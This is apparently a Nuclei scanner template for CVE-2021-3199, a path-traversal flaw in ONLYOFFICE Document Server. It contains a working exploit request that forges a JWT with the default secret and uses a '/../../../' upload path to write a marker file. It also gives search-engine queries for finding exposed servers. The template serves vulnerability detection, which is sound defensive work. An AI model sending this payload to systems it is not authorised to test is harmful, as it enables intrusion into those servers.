id: CVE-2021-3199
info:
name: ONLYOFFICE Document Server < 5.6.3 - Path Traversal to Arbitrary File Write
author: Ayham970,0x_Akoko
severity: critical
description: |
ONLYOFFICE Document Server 5.1.5 - 5.6.2 contains a directory traversal with remote code execution caused by /.. sequence in image upload parameter when JWT is used, letting remote attackers execute arbitrary code, exploit requires JWT authentication.
impact: |
Attackers can execute arbitrary code remotely, potentially leading to full server compromise.
remediation: |
Update to version 5.6.3 or later.
reference:
- https://github.com/ONLYOFFICE/DocumentServer/blob/master/CHANGELOG.md#563
- https://github.com/moehw/poc_exploits/tree/master/CVE-2021-3199
- https://nvd.nist.gov/vuln/detail/CVE-2021-3199
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-3199
epss-score: 0.88598
epss-percentile: 0.99849
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: onlyoffice
product: document_server
shodan-query: http.html:"ONLYOFFICE Docs"
fofa-query: body="ONLYOFFICE"
tags: cve,cve2021,onlyoffice,documentserver,traversal,intrusive,kev,vkev
variables:
oosecret: "secret"
oodoc: "{{rand_base(6)}}"
oomark: "{{rand_base(8)}}"
oohdr: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
oopay: "{{trim_right(replace(replace(base64(hex_decode('7b22657870223a') + to_string(unix_time(3600)) + hex_decode('2c22646f63756d656e74223a7b226b6579223a22') + oodoc + hex_decode('222c2264735f656e63727970746564223a2279227d2c22656469746f72436f6e666967223a7b2275736572223a7b226964223a2275227d7d7d')), '+', '-'), '/', '_'), '=')}}"
http:
- raw:
- |
POST /upload/{{oodoc}}/u/1 HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{oohdr}}.{{oopay}}.{{trim_right(replace(replace(base64(hex_decode(hmac('sha256', oohdr + '.' + oopay, oosecret))), '+', '-'), '/', '_'), '=')}}
Content-Type: application/octet-stream
ENCRYPTED;/../../../{{oomark}}.txt;{{oomark}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "/../../../", oomark)'
condition: and
# digest: 4a0a00473045022071d77458cd2cd0f1d6f848ce223b4830759a9767bcc6937d1da879bd01ff0993022100b41ff45409bc594b58457f9e811772580e8a7671707792c0cdc35386b67d08ad:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.